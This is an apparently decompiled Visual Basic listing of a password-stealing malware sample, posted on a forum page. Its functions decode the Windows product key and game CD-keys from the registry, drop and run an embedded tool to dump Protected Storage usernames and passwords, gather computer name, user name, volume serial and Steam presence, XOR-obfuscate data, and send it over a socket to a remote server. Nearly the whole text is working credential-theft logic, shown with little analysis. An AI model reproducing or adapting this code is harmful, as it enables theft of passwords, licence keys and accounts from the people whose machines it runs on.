  loc_41A1C8:     var_D4 = GetSettingString(var_98, var_90(2), vbNullString)
  loc_41A1D0:     var_94 = var_13C
                  If (var_94 <> "1") Then '41A237
  loc_41A1F3:       var_13C = var_88 & "CD-KEY" & ""
  loc_41A223:       var_88 = var_13C & var_90(0) & "" & var_94 & "" & "N/A" & vbCrLf
                  End If
  loc_41A239:     GoTo loc_41A2D4
                End If
  loc_41A248:   var_D4 = 0
  loc_41A263:   var_D4 = GetSettingString(var_98, var_90(2), var_90(3))
  loc_41A26B:   var_94 = var_13C
                If (var_94 <> vbNullString) Then '41A2D2
  loc_41A2BE:     var_88 = var_88 & "CD-KEY" & "" & var_90(0) & "" & var_94 & "" & "N/A" & vbCrLf
                End If
  loc_41A2D4:   ' Referenced from: 41A239
              Next var_138 'Variant
  loc_41A2E3: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
PASSWORDS_PRODKEY:
Public Function PASSWORDS_PRODKEY() '419FB4
  'Data Table: 401B50
  loc_419DC6: On Error Goto loc_419FA5
  loc_419DE8: var_BC = RegOpenKey(-2147483646, "SOFTWARE\MICROSOFT\Windows NT\CurrentVersion", var_8C)
              If (var_BC = 0) Then '419FA5
                If (RegQueryValueEx(var_8C, "DigitalProductId", 0, 3, var_A4(0), &HFF, var_BC) = 0) Then '419FA5
                  For var_C8 = 1 To &H19: var_AC = var_C8 'Long
  loc_419E51:       var_B4 = 0
                    For var_D0 = &H42 To &H34 Step -1: var_B0 = var_D0 'Long
  loc_419E94:         var_A4(var_B0) = CByte(((var_B4 * &H100) Xor CLng(var_A4(var_B0)) / &H18))
  loc_419E9F:         var_B4 = (var_B4 Mod &H18)
                    Next var_D0 'Long
  loc_419EC9:       var_F0 = CVar((var_AC Mod 5)) 'Long
  loc_419F00:       var_88 = CStr(IIf(var_F0, vbNullString, "-") & CVar(Mid$("BCDFGHJKMPQRTVWXY2346789", (var_B4 + 1), 1)) & CVar(var_88))
                  Next var_C8 'Long
  loc_419F84:     var_88 = "CD-KEY" & "" & WINDOWS_VERSION_FULL() & " (" & CountryTag() & ")" & "" & Mid$(var_88, 2, var_F0) & "" & "N/A" & vbCrLf
  loc_419FA5:     ' Referenced from: 419DC6
                End If
              End If
  loc_419FA5: Exit Function
  loc_419FAB: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
PASSWORDS_PTSG:
Public Function PASSWORDS_PTSG() '41DE60
  'Data Table: 401B50
  loc_41D91E: On Error Resume Next
  loc_41D94A: var_8C = LoadResData("PTSG", "RCVR")
  loc_41D957: Proc_1_1_419AD4(var_8C)
  loc_41D9A6: var_140 = CStr(" /stext " & Chr(&H22) & CVar(DIR_ME()) & "\ptsg.dat" & Chr(&H22))
  loc_41D9D9: WaitForSingleObject(Proc_0_0_41E4E0(Me.global_52, var_8C), &H3A98)
              If (FileLen(DIR_ME() & "\ptsg.dat") = 0) Then '41DA2F
  loc_41DA1C:   Kill CVar(DIR_ME() & "\ptsg.dat")
  loc_41DA29:   Exit Function
              End If
  loc_41DA50: var_94 = FILE_READ(DIR_ME() & "\ptsg.dat")
  loc_41DA92: Kill CVar(DIR_ME() & "\ptsg.dat")
  loc_41DAD2: arg_2008 = Split(Replace(Replace(var_94, vbNullString, 0, 1, -1, 0), vbNullString, 0, 1, -1, 0), String(&H32, "="), -1, 0)
  loc_41DADC: var_98 = arg_2008
              For var_188 = CVar(LBound(var_98, 1)) To var_C4: var_158 = var_188 'Variant
                If CBool((var_158 Mod 2) <> 0) Then '41DE42
  loc_41DB4B:     arg_2008 = Split(var_98(CLng(var_158)), vbCrLf, -1, 0)
  loc_41DB55:     var_9C = arg_2008
  loc_41DB62:     var_A2 = &HFF
                  For var_1B8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1B8 'Variant
                    If (((InStr(1, var_9C(CLng(var_198)), "Resource Name  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name/Value  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41DC85
                      If (Len(Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)) = 0) Then '41DC3C
  loc_41DC39:           var_A2 = 0
                      End If
                      If ((InStr(1, var_9C(CLng(var_198)), "Resource Name  ", 0) > 0) And (InStr(1, var_9C(CLng(var_198)), ".", 0) = 0)) Then '41DC85
  loc_41DC82:           var_A2 = 0
                      End If
                    End If
                  Next var_1B8 'Variant
                  If (var_A2 = &HFF) Then '41DE40
                    For var_1E8 = CVar(LBound(var_9C, 1)) To var_C4: var_198 = var_1E8 'Variant
                      If (InStr(1, var_9C(CLng(var_198)), ":", 0) > 0) Then '41DE27
                        If (((InStr(1, var_9C(CLng(var_198)), "Resource Name  ", 0) > 0) Or (InStr(1, var_9C(CLng(var_198)), "User Name/Value  ", 0) > 0)) Or (InStr(1, var_9C(CLng(var_198)), "Password  ", 0) > 0)) Then '41DE25
                          If (var_198 < CVar((UBound(var_9C, 1) - 1))) Then '41DDD1
  loc_41DDB0:               var_10C = CVar(var_A0 & "Protected Storage" & "" & "Protected Storage" & "") & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1)
  loc_41DDBE:               var_A0 = CStr(var_10C & "")
  loc_41DDCE:               GoTo loc_41DE23
                          End If
  loc_41DE15:             var_A0 = CStr(CVar(var_A0) & Split(var_9C(CLng(var_198)), ": ", 2, 0)(1))
  loc_41DE23:             ' Referenced from: 41DDCE
                        End If
                      End If
                    Next var_1E8 'Variant
  loc_41DE3D:       var_A0 = var_A0 & vbCrLf
                  End If
                End If
              Next var_188 'Variant
  loc_41DE54: var_88 = var_A0
  loc_41DE59: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Sub sckServer_CloseSck() '417518
  'Data Table: 401B50
              If (MemVar_42007C = 0) Then '417500
  loc_4174F5:   Me.tmrConnect.Enabled = 0
  loc_4174FD:   GoTo loc_417517
              End If
  loc_41750D: UnLoad Me
  loc_417515: End
  loc_417517: ' Referenced from: 4174FD
  loc_417517: Exit Sub
End Sub
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Sub sckServer_DataArrival(sData) '41874C
  'Data Table: 401B50
              If (sData = "0") Then '41874B
  loc_4186B8:   ReDim var_90(0 To 1)
  loc_4186D2:   var_90(0) = &H6F
  loc_4186DB:   var_90(1) = MemVar_420074
  loc_4186E7:   Call SendData("0")
  loc_4186EF:   Erase var_90
  loc_4186F9:   var_A0 = "programfiles"
  loc_41870F:   var_B0 = "\steam\steam.exe"
  loc_41871D:   CStr(Environ(var_A0) & var_B0) = FILE_EXISTS()
                If (var_E6 And (var_E6 = &HFF)) Then '41874B
  loc_418746:     fSteam.Show var_A0, var_B0
                End If
              End If
  loc_41874B: Exit Sub
End Sub
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Sub sckServer_Connect() '4171C0
  'Data Table: 401B50
  loc_4171BC: Exit Sub
End Sub
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Sub SendData(bufHeader) '418234
  'Data Table: 401B50
  loc_4181A3: var_88 = bufHeader
  loc_4181A6: On Error Goto loc_418232
  loc_4181B7: CVarAryVarg
              If (Join(arg_10, "") = 0) Then '4181E4
  loc_4181DE:   Proc_3_3_41815C(CVar(var_88))
  loc_4181E3:   Exit Sub
              End If
  loc_4181EF: var_8C = Proc_1_0_41A650(var_8C)
  loc_4181F6: var_90 = Len(var_8C)
  loc_41821E: Proc_3_3_41815C(CVar(var_88 & "" & CStr(var_90) & "" & var_8C), var_90)
  loc_418231: Exit Sub
  loc_418232: ' Referenced from: 4181A6
  loc_418232: Exit Sub
  loc_418233: Exit Sub
End Sub
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function strXOR(DataIn, CodeKey) '418AA8
  'Data Table: 401B50
              If (arg_14 = 0) Then '4189E9
  loc_4189D9:   DataIn = Hex2Str()
  loc_4189E2:   DataIn = CStr(var_A4)
              End If
              For var_AC = 1 To Len(DataIn): var_8C = var_AC 'Long
  loc_418A5A:   var_A4 = Chr(CLng(Asc(Mid$(DataIn, var_8C, 1)) Xor Asc(Mid$(CodeKey, ((var_8C Mod Len(CodeKey)) + 1), 1))))
  loc_418A67:   var_90 = CStr((CVar(var_90) + var_A4))
              Next var_AC 'Long
              If (arg_14 = &HFF) Then '418A9A
  loc_418A88:   var_90 = Str2Hex()
  loc_418A91:   var_88 = CStr(var_A4)
  loc_418A97:   GoTo loc_418AA0
              End If
  loc_418A9D: var_88 = var_90
  loc_418AA0: ' Referenced from: 418A97
  loc_418AA0: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function Hex2Str(arg_C) '418078
  'Data Table: 401B50
  loc_417FF9: var_98 = arg_C
  loc_418000: On Error Resume Next
              For var_AC = 1 To Len(var_98) Step 2: var_9C = var_AC 'Long
  loc_41804A:   var_A0 = var_A0 & Chr$(CLng(Val("&H" & Mid$(var_98, var_9C, 2))))
              Next var_AC 'Long
  loc_41806B: var_94 = CVar(var_A0) 'Variant
  loc_418071: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function Str2Hex(arg_C) '418644
  'Data Table: 401B50
  loc_41858D: var_98 = arg_C
  loc_418594: On Error Resume Next
              For var_AC = 1 To Len(var_98): var_9C = var_AC 'Long
                If (Len(Hex$(CVar(Asc(Mid$(var_98, var_9C, 1))))) = 1) Then '418611
  loc_418604:     var_A4 = Trim$(Str(0)) & var_A4
                End If
  loc_41861C:   var_A0 = var_A0 & var_A4
  loc_418621:   DoEvents()
              Next var_AC 'Long
  loc_418638: var_94 = CVar(var_A0) 'Variant
  loc_41863E: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function WINDOWS_VERSION_FULL() '41780C
  'Data Table: 401B50
  loc_4177C6: On Error Resume Next
  loc_4177DE: CAdVar
  loc_4177E9: var_AC = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName"
  loc_4177F2: LateMemCallLdVar
  loc_4177FB: var_88 = CStr(CreateObject("WScript.Shell", 0))
  loc_417803: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function GetSettingString(hKey, strPath, strValue) '419514
  'Data Table: 401B50
  loc_4193AB: var_8C = strPath
  loc_4193B1: var_90 = strValue
              If Not(IsEmpty(arg_18)) Then '4193D0
  loc_4193CA:   var_88 = arg_18
  loc_4193CD:   GoTo loc_4193D6
              End If
  loc_4193D3: var_88 = vbNullString
  loc_4193D6: ' Referenced from: 4193CD
  loc_419431: var_AC = RegQueryValueEx(var_94, var_90, 0, var_9C, 0, var_A4, RegOpenKey(hKey, var_8C, var_94))
              If (var_AC = 0) Then '4194FB
  loc_41945D:   var_A0 = CStr(String(var_A4, " "))
  loc_4194AA:   var_98 = RegQueryValueEx(var_94, var_90, 0, 0, var_A0, var_A4, var_AC)
  loc_4194D1:   var_A6 = CInt(InStr(1, var_A0, Chr$(0), 0))
                If (var_A6 > 0) Then '4194F5
  loc_4194EF:     var_88 = Left$(var_A0, CLng((var_A6 - 1)))
  loc_4194F2:     GoTo loc_4194FB
                End If
  loc_4194F8:   var_88 = var_A0
              End If
  loc_4194FB: ' Referenced from: 4194F2
  loc_41950A: var_AC = RegCloseKey(var_94)
  loc_41950D: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function CountryTag() '417BC8
  'Data Table: 401B50
  loc_417B94: var_90 = GetLocaleInfo(0, &H1002, var_98, &H63)
  loc_417BA4: var_94 = var_98
  loc_417BB5: var_8C = LPSTRToVBString()
  loc_417BBB: var_88 = var_98
  loc_417BC1: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function LPSTRToVBString(arg_C) '4179C0
  'Data Table: 401B50
  loc_417967: var_8C = arg_C
  loc_417988: var_90 = InStr(1, var_8C, Chr$(0), 0)
              If (var_90 > 0) Then '4179B1
  loc_4179AB:   var_88 = Left$(var_8C, (var_90 - 1))
  loc_4179AE:   GoTo loc_4179B7
              End If
  loc_4179B4: var_88 = vbNullString
  loc_4179B7: ' Referenced from: 4179AE
  loc_4179B7: Exit Function
  loc_4179BD: var_90 = %x2
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function DIR_ME() '418F60
  'Data Table: 401B50
  loc_418E80: var_98 = CStr(0)
  loc_418EAB: GetModuleFileName(GetModuleHandle(var_98), var_90, Len(var_90))
  loc_418EBF: var_90 = var_98
  loc_418EEB: var_98 = var_90
  loc_418EFF: var_90 = var_98
  loc_418F0A: var_88 = StrReverse(Left$(var_98, (InStr(1, var_90 & vbNullString, vbNullString, 0) - 1)))
  loc_418F4D: var_88 = StrReverse(CStr(Mid$(var_88, (InStr(1, var_88, "\", 0) + 1), var_D0)))
  loc_418F5A: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function PC_INFO_GET() '418E28
  'Data Table: 401B50
  loc_418D4B: GetComputerName(var_8C, Len(var_8C))
  loc_418D5F: var_8C = var_94
  loc_418D84: var_90 = var_8C
  loc_418D8F: var_94 = Left$(var_90, (InStr(1, var_8C, vbNullString, 0) - 1))
  loc_418D98: var_8C = var_90
  loc_418DB5: GetUserName(var_8C, Len(var_8C))
  loc_418DC9: var_8C = var_94
  loc_418DF8: var_90 = var_8C
  loc_418E0C: var_8C = var_90
  loc_418E13: var_88 = Left$(var_90, (InStr(1, var_8C, vbNullString, 0) - 1)) & "^" & Left$(var_90, (InStr(1, var_8C, vbNullString, 0) - 1))
  loc_418E1F: Exit Function
  loc_418E25: GoTo loc_418DB7
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function HDS_GET(arg_C) '418858
  'Data Table: 401B50
              If CBool(GetVolumeInformation(arg_C, var_90, var_94, var_98, var_9C, var_A0, var_A4, var_A8)) Then '41884A
  loc_41883B:   var_88 = CStr(Format(Hex(var_98), "00000000"))
  loc_418847:   GoTo loc_418850
              End If
  loc_41884D: var_88 = "0"
  loc_418850: ' Referenced from: 418847
  loc_418850: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Public Function FILE_EXISTS(arg_C) '41744C
  'Data Table: 401B50
  loc_417420: On Error Goto loc_417440
  loc_417437: var_86 = ((GetAttr(arg_C) And &H10) = 0)
  loc_41743A: Exit Function
  loc_417440: ' Referenced from: 417420
  loc_417442: var_86 = 0
  loc_417445: Exit Function
End Function
---------------------------------------------------------------------------------------------------------------------------------------------------------------

---------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------------------
[/member]
 
Cookies are required to use this site. You must accept them to continue using the site. Learn more…